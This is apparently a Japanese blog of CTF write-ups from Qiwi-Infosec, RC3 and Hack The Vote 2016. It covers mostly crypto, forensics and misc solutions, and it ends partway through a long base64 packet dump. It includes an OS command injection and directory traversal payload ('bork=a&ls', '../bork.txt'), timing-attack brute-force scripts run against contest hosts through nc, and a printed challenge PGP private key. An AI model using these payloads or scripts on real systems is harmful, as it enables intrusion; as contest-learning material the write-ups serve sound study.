読者です 読者をやめる 読者になる 読者になる

Qiwi-Infosec CTF-2016, RC3 CTF 2016 メモ

結果

Qiwi-Infosec CTF-2016
team: 0hM31JI
points: 1600
place: 72(/676)

RC3 CTF 2016
team: 0hM31JI
points: 2465
place: 76(/661)

解いた問題(Qiwi-Infosec CTF-2016)

javascript (Web 100)

javascript obfuscation (javascript難読化)
eval() を console.log() にするとデコード可能なタイプ
難読化されたJavaScriptコードを読む : document

j4v4scr1pt___0bfusc4t10n

PPC 100_2 (PPC 100)

ミラー–ラビン素数判定法(Miller–Rabin primality test)

import os
files = os.listdir(".\\encrypted")
flag = ""
for file in files:
	if is_probable_prime(int(file)):
		for line in open(".\\encrypted\\"+file):
			flag+=line
flag = flag.replace("\n","")
print(flag)
c93c0f30299130cde942fce8ec5dd0b3012dcfa478a4ab2314ee525098fb779e2812d6731d372bae6d71e220a6

Crypto 100_1 (Crypto 100)

ポリュビオスの暗号表(Polybius square)

  1 2 3 4 5
1 A B C D E
2 F G H I K
3 L M N O P
4 Q R S T U
5 V W X Y Z

・暗号化
例) B → 12
行列(ij)の順
・ADFGVX暗号に使われる

encrypted = """52112515_4535_331534
442315_321144422453_231143_543445
213431313452_442315_5223244415_411112122444
2533341325_2533341325_331534
442315_21311122_2443_442315_4423244214_31243315"""

def dec_polybius_square(encrypted):
    decrypted=""
    square=["abcde","fghik","lmnop","qrstu","vwxyz"]
    i = 0
    while i<len(encrypted):
        if encrypted[i].isdigit():
            decrypted+=square[int(encrypted[i])-1][int(encrypted[i+1])-1]
            i+=2
        else:
            decrypted+=encrypted[i]
            i+=1
    return decrypted

print dec_polybius_square(encrypted)
follow_the_white_rabbit

Crypto 300_1 (Crypto 300)

ディフィー・ヘルマン鍵共有(Diffie-Hellman key exchange、D-H)
・事前の秘密の共有なし
・盗聴の可能性のある通信路を使って
・暗号鍵の共有を可能にする
暗号プロトコル

3人ver

p = 8986158661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251
g = 6
a = 230
b = 250

# g^c
C = 5361617800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617

K = pow(C, a*b, p) #g^abc
flag = str(K)[:20]
print(flag)
38058349620867258480

Crypto 300_2 (Crypto 300)

ディフィー・ヘルマン鍵共有
g^a<pの場合に発生する脆弱性

p= 6703903964971298549787012499102923063739682910296196688861780721860882015036773488400937149083451713845015929093243025426876941405973284973216824503042047
g= 9444732965739290427392
A= 842498333348457493583344221469363458551160763204392890034487820288 # g^a
B= 89202980794122492566142873090593446023921664 # g^b
import math
a = int( math.log(A,g) ) # 3
b = int( math.log(B,g) ) # 2
K = g**(a*b) % p
flag = str(K)[:20]
print(flag)

70980344169492860405

Crypto 300_3 (Crypto 300)

RSA暗号
m^e<pの場合に発生する脆弱性

c= 2044619806634581710230401748541393297937319 
n= 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143

import libnum
for e in range(2,10):
    m = libnum.nroot(c,e)
    if m**e==c:
        break

print "e:",e
print "m:",m
flag = libnum.n2s(m)
print flag

so_low

Crypto 400_1 (Crypto 400)

RSA暗号
同一平文の異なるnによる暗号文がe個得られる場合に発生する脆弱性
中国剰余定理(Chinese remainder theorem)で復号可能

n1 = 95118357989037539883272168746004652872958890562445814301889866663072352421703264985997800660075311645555799745426868343365321502734736006248007902409628540578635925559742217480797487130202747020211452620743021097565113059392504472785227154824117231077844444672393221838192941390309312484066647007469668558141
n2 = 98364165919251246243846667323542318022804234833677924161175733253689581393607346667895298253718184273532268982060905629399628154981918712070241451494491161470827737146176316011843738943427121602324208773653180782732999422869439588198318422451697920640563880777385577064913983202033744281727004289781821019463
n3 = 68827940939353189613090392226898155021742772897822438483545021944215812146809318686510375724064888705296373853398955093076663323001380047857809774866390083434272781362447147441422207967577323769812896038816586757242130224524828935043187315579523412439309138816335569845470021720847405857361000537204746060031
c1 = 64830446708169012766414587327568812421130434817526089146190136796461298592071238930384707543318390292451118980302805512151790248989622269362958718228298427212630272525186478627299999847489018400624400671876697708952447638990802345587381905407236935494271436960764899006430941507608152322588169896193268212007
c2 = 96907490717344346588432491603722312694208660334282964234487687654593984714144825656198180777872327279250667961465169799267405734431675111035362089729249995027326863099262522421206459400405230377631141132882997336829218810171728925087535674907455584557956801831447125486753515868079342148815961792481779375529
c3 = 43683874913011746530056103145445250281307732634045437486524605104639785469050499171640521477036470750903341523336599602288176611160637522568868391237689241446392699321910723235061180826945464649780373301028139049288881578234840739545000338202917678008269794179100732341269448362920924719338148857398181962112

import libnum
remainders = [c1,c2,c3]
modules = [n1,n2,n3]
x = libnum.solve_crt(remainders,modules)
m = libnum.nroot(x,3)
flag = libnum.n2s(m)
print flag
theoretical_computer_scientist_johan_torkel_hastad

解いた問題(RC3 CTF 2016)

Salad (Crypto 100)

シーザー暗号(Caesar cipher)

def rot(*symbols):
    def _rot(n):
        encoded = ''.join(sy[n:] + sy[:n] for sy in symbols)
        lookup = str.maketrans(''.join(symbols), encoded)
        return lambda s: s.translate(lookup)
    return _rot

encrypted="7sj-ighm-742q3w4t".upper()

import string
symbols = string.ascii_uppercase+string.digits

for i in range(len(symbols)):
    decrypted = rot(symbols)(i)(encrypted)
    print(decrypted)
RC3-2016-ROMANGOD

Calculus (Crypto 200)

独立変数を並べる
Antiderivative: 不定積分

RC3-2016-ANTIDERV

Cats (Crypto 300)

各フレームの猫の数
purr, meow: 猫の鳴き声

a = [14,9,1,20,23,15,5,13]
tmp = ""
for aa in a:
    tmp+=chr(ord("A")+aa-1)
print(tmp) #NIATWOEM
tmp = tmp[::-1] 
print(tmp) #MEOWTAIN
flag = "RC3-2016-"+tmp
print(flag)
RC3-2016-MEOWTAIN

goodtime (Misc 150)

入力がflagと先頭から一致していればいるほど、ターンアラウンドタイムが増える
ブルートフォース

import commands
import time
import string

symbols = string.digits + string.letters + '!#$%&()*+,-./:;<=>?@[]^_`{|}~'

def f(s,n):
    start = time.time()
    out = commands.getstatusoutput("echo '"+s+"' |  nc goodtime.ctf.rc3.club 5866") 
    for j in range(n-1):
        commands.getstatusoutput("echo '"+s+"' |  nc goodtime.ctf.rc3.club 5866") 
    tat = time.time()-start
    print s, ("%.2f" % tat), out
    return tat

flag = "RC3-2016-"

for i in range(50):
    d = {}
    for c in symbols:
        s = flag + c
        d[c] = f(s,1)
    l = sorted(d.items(), key=lambda x:-x[1])

    for c,tat in l[:5]:
        s = flag + c
        d[c] = f(s,3)
    l = sorted(d.items(), key=lambda x:-x[1])

    flag += l[0][0]
    print "flag:", flag
RC3-2016-itz-alw4yz-a-g00d-t1m1ng-@tt@ck

Kalaatu Barada N (Misc 300)

レスポンスが 136行 = 17文字 * 8bit
各文字の各bitがレスポンスの各行と対応している

import commands

d = {}
head = "RC3-2016-"
s = []

def f():
    global d,head,s
    out = commands.getstatusoutput("nc ctf.rc3.club 6050")[1]
    s = out.split("\n")

    # print len(s) # 136 = 17 * 8

    for i in range(len(head)):
        c = head[i]
        b = bin(ord(c))[2:].zfill(8)
        for j in range(8):
            idx = i*8+j
            d[s[idx]]=b[j]

def g():
    global d,head,s
    flag = "RC3-2016-"
    for i in range(len(head),17):
        b = ""
        for j in range(8):
            idx = i*8+j
            if s[idx] in d: b += d[s[idx]]
            else: return False
        flag += chr(int(b,2))
    print flag
    return True

while True:
    f()
    if g():break
RC3-2016-CHRLSD3D

Who's a good boy? (Web 100)

css の最後にflag

RC3-2016-CanineSS

Bork Bork (Web 300)

OSコマンドインジェクション & ディレクトリトラバーサル(Directory traversal)
複数のコマンドを実行したい時「;」「&」「&&」「||」を挟む

bork=aでsubmit

<iframe width="854" height="480" src="cat: borks/a: No such file or directory?autoplay=1&amp;loop=1" frameborder="0"></iframe>

bork=a&lsでsubmit

<iframe width="854" height="480" src="cat: borks/a: No such file or directory&#10;auto_bork.sh&#10;bork.ini&#10;bork.py&#10;bork.pyc&#10;borks&#10;bork.sock&#10;bork.txt&#10;static&#10;templates&#10;wsgi.py&#10;wsgi.pyc?autoplay=1&amp;loop=1" frameborder="0"></iframe>

bork=../bork.txtでsubmit

<iframe width="854" height="480" src="RC3-2016-L057d0g3?autoplay=1&amp;loop=1" frameborder="0"></iframe>
RC3-2016-L057d0g3

Some Pang (Forensics 50)

base64

dpkt
・パケットを作成・解析するpythonモジュール

import dpkt, socket

pcr = dpkt.pcap.Reader(open("somepang.pcap","rb"))

flag = ""
for ts, buf in pcr:
    eth = dpkt.ethernet.Ethernet(buf)
    ip = eth.data
    if socket.inet_ntoa(ip.src)=="192.168.1.198":continue
    icmp = ip.data
    data = icmp.data.data
    flag += data[-2:]

flag = flag.decode("base64")

f=open("flag.jpg","wb")
f.write(flag)
f.close()

f:id:minaminaoy:20161122191625j:plain

RC3-2016-PANG-ME-LIKE-ONE-OF-YOUR-FRENCH-GORILLAZ

My Lil Droid (Forensics 100)

apkファイル
Androidアプリのパッケージファイル
・zipとして展開可能

拡張子をzipにして展開
build-data.properties に UkMz-2016-R09URU0yMQ==

print "UkMzR09URU0yMQ==".decode("base64")
# RC3GOTEM21
RC3-2016-GOTEM21

Graphic Design (Forensics 200)

objファイル
・CGソフトの中間ファイル
・ASCIIデータ

テキストエディタで恐竜部分を消す
f:id:minaminaoy:20161122191910p:plain

RC3-2016-St3GG3rz

Dirty Birdy (Forensics 400)

GPG(GNU Privacy Guard,GnuPG)
GPLに基づいた暗号化ソフト

imgファイルを展開
secrefilesフォルダ以下において。

git cat-file -p (SHA1のハッシュ) でオブジェクトのコンテンツを見ることが可能

> git cat-file -p 78a8994d17a927b76c303dbe53c65a8fe8ed8fd8 > key

key

-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: GnuPG v1

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
bOMsAtIU8D68fbCXhp0VRNs5
=xRo0
-----END PGP PRIVATE KEY BLOCK-----
> gpg --import --allow-secret-key-import key
> gpg Workbook1.xlsx.gpg

Workbook1.xlsx(pass: password123)のsheet2にflag

RC3-2016-SNEAKY21

Logmein (Rev 100)

入力がflagと先頭から一致していればいるほど、strlenが呼び出される回数が増える
ブルートフォース

import commands

flag="RC3-2016-"
for i in range(len(flag), 17):
	for o in range(ord("A"), ord("Z")+1):
		c = chr(o)
		s = flag+c*(17-len(flag))
		out = commands.getstatusoutput("echo '"+s+"'| ltrace ./logmein")[1]
		if out.count("strlen")>=2*(i+3)-1:
			flag+=c
			break
print flag
RC3-2016-XORISGUD

What's your virus? (Trivia 20)

ILOVEYOU

Horse from Tinbucktu (Trivia 30)

Zeus

Love Bomb (Trivia 40)

Stuxnet

Infringing memes (Trivia 50)

PIPA

Hack The Vote 2016 Writeup

https://pwn.voting/pwn.voting
ctftime.org

結果

team: minami
551 points
127th place (of 1030 teams)

TWCTFよりパフォーマンスあがったかな?
今回もrev,pwn,webが解けず人権がない
キレそう

f:id:minaminaoy:20161107111625p:plain

そろそろチームでも参加してみたいですね(プロの恩恵を受けたい!)

解いた問題

Sanity (Vote 1pt)

The flag is flag{th3r3_1s_0nly_on3_ch0ic3}

flag{th3r3_1s_0nly_on3_ch0ic3}

Vermatrix Supreme (Crypto 100pts)

Working in IT for a campaign is rough; especially when your candidate uses his password as the IV for your campaign's proprietary encryption scheme, then subsequently forgets it. See if you can get it back for him. The only hard part is, he changes it whenever he feels like it.

nc vermatrix.pwn.democrat 4201

handout

author's irc nick: negasora

ソースを読むとhandoutは

  • IV(初期化ベクトル)とSEEDから一意に定まる行列の配列を生成
  • それらに回転・XORを加えて1つの行列Mに(XOR暗号の類)

といった操作を行う

与えられるSEEDと行列MからIVを逆算・送信するとflagが手に入る

主要部分は

def refixmatrix(matrixb, out):
	matrixa = [[0 for x in xrange(3)] for x in xrange(3)]	
	for rn in xrange(3):
		for cn in xrange(3):
			b=  int(matrixb[cn][rn])
			o = int(out[cn][rn])
			matrixa[rn][cn] = b^o
	return matrixa

def getIV(seed,M):
	IV = M
	hogeIV = [c for c in '123456789'] #適当な値
	p = pad(hogeIV + [ord(c) for c in seed])
	blocks = genBlockMatrix(p)
	for i in range(len(blocks)-1,0,-1):
		IV = refixmatrix(blocks[i],IV)
	return IV

netcatと組み合わせて

flag{IV_wh4t_y0u_DiD_Th3r3}

Warp Speed (Forensics 150pts)

Our Trump advertising campaign is incredible, it's skyrocketing! It's astronomical! Wait stop!! SLOW DOWN!!!

warp_speed

author's irc nick: krx

f:id:minaminaoy:20161107113837j:plain
flagの断片 "lag{"..."}" が見える
試行錯誤した結果、元画像を

  • 504(?)*8 のブロックに分割
  • 順番に2つずつ横にして配置
  • 8pixelずつズラす

といった操作をした画像と判断

戻してバラして順番に合成(ImageMagick
batの遅延環境変数周りの知識が不足していたのでゴリ押しした

@echo off
convert -crop 1000x8 warp_speed.jpg ./a/warp_speed.jpg

convert ./a/warp_speed-0.jpg -roll -0+0 ./b/warp_speed-0.jpg
convert ./a/warp_speed-1.jpg -roll -8+0 ./b/warp_speed-1.jpg
convert ./a/warp_speed-2.jpg -roll -16+0 ./b/warp_speed-2.jpg
convert ./a/warp_speed-3.jpg -roll -24+0 ./b/warp_speed-3.jpg
convert ./a/warp_speed-4.jpg -roll -32+0 ./b/warp_speed-4.jpg
convert ./a/warp_speed-5.jpg -roll -40+0 ./b/warp_speed-5.jpg
convert ./a/warp_speed-6.jpg -roll -48+0 ./b/warp_speed-6.jpg
convert ./a/warp_speed-7.jpg -roll -56+0 ./b/warp_speed-7.jpg
convert ./a/warp_speed-8.jpg -roll -64+0 ./b/warp_speed-8.jpg
convert ./a/warp_speed-9.jpg -roll -72+0 ./b/warp_speed-9.jpg
convert ./a/warp_speed-10.jpg -roll -80+0 ./b/warp_speed-10.jpg
convert ./a/warp_speed-11.jpg -roll -88+0 ./b/warp_speed-11.jpg
convert ./a/warp_speed-12.jpg -roll -96+0 ./b/warp_speed-12.jpg
convert ./a/warp_speed-13.jpg -roll -104+0 ./b/warp_speed-13.jpg
convert ./a/warp_speed-14.jpg -roll -112+0 ./b/warp_speed-14.jpg
convert ./a/warp_speed-15.jpg -roll -120+0 ./b/warp_speed-15.jpg
convert ./a/warp_speed-16.jpg -roll -128+0 ./b/warp_speed-16.jpg
convert ./a/warp_speed-17.jpg -roll -136+0 ./b/warp_speed-17.jpg
convert ./a/warp_speed-18.jpg -roll -144+0 ./b/warp_speed-18.jpg
convert ./a/warp_speed-19.jpg -roll -152+0 ./b/warp_speed-19.jpg
convert ./a/warp_speed-20.jpg -roll -160+0 ./b/warp_speed-20.jpg
convert ./a/warp_speed-21.jpg -roll -168+0 ./b/warp_speed-21.jpg
convert ./a/warp_speed-22.jpg -roll -176+0 ./b/warp_speed-22.jpg
convert ./a/warp_speed-23.jpg -roll -184+0 ./b/warp_speed-23.jpg
convert ./a/warp_speed-24.jpg -roll -192+0 ./b/warp_speed-24.jpg
convert ./a/warp_speed-25.jpg -roll -200+0 ./b/warp_speed-25.jpg
convert ./a/warp_speed-26.jpg -roll -208+0 ./b/warp_speed-26.jpg
convert ./a/warp_speed-27.jpg -roll -216+0 ./b/warp_speed-27.jpg
convert ./a/warp_speed-28.jpg -roll -224+0 ./b/warp_speed-28.jpg
convert ./a/warp_speed-29.jpg -roll -232+0 ./b/warp_speed-29.jpg
convert ./a/warp_speed-30.jpg -roll -240+0 ./b/warp_speed-30.jpg
convert ./a/warp_speed-31.jpg -roll -248+0 ./b/warp_speed-31.jpg

for /l %%i in (0,1,31) do (
	convert -crop 504x8 ./b/warp_speed-%%i.jpg  ./c/warp_speed-%%i.jpg 
	convert -append ./c/warp_speed-%%i-0.jpg ./c/warp_speed-%%i-1.jpg ./d/warp_speed-%%i.jpg
)

copy .\d\warp_speed-0.jpg warp_speed-0.jpg

for /l %%i in (1,1,31) do (
	convert -append warp_speed-0.jpg ./d/warp_speed-%%i.jpg warp_speed-0.jpg
)
for i in range(1,32):
    s = "convert ./a/warp_speed-"+str(i)+".jpg -roll -"+str(i*8)+"+0 ./b/warp_speed-"+str(i)+".jpg"
    print(s)

f:id:minaminaoy:20161107104043j:plain

flag{1337_ph0t0_5k1ll5}

leet読めなくて20failsくらいした(1とlややこしすぎでしょ)

More Suspicious Traffic (Forensics 300pts)

We think our voting computers might be compromised! The Clinton campaign claims Trump is working with the Russians to rig the election. Our tech got a packet capture right before strange things started happening and isolated these packets. Our IDS didn't flag anything, but take a look and see if you can find any hidden communications channels the Russians could use for command and control (C2). It would make the leaders of the free world look pretty bad if the Russians were the ones picking our president!

SecureFloridaVotingBoothTraffic

author's irc nick: LtDan

Wiresharkで見てみると長い時間をかけてUDPで通信している
内容は

Source Data Decrypted Data (base64)
192.168.2.1 bm90dGhlZmxhZw==
( or EOF )
nottheflag
192.169.2.4 QUNL ACK
( = ACKnowledgement:肯定応答 )

パケット全ての集まりがflagを表現していると仮定

Dataのみ抽出

bm90dGhlZmxhZw==QUNLbm90dGhlZmxhZw==QUNLbm90dGhlZmxhZw==QUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==QUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==QUNLbm90dGhlZmxhZw==QUNLbm90dGhlZmxhZw==QUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQU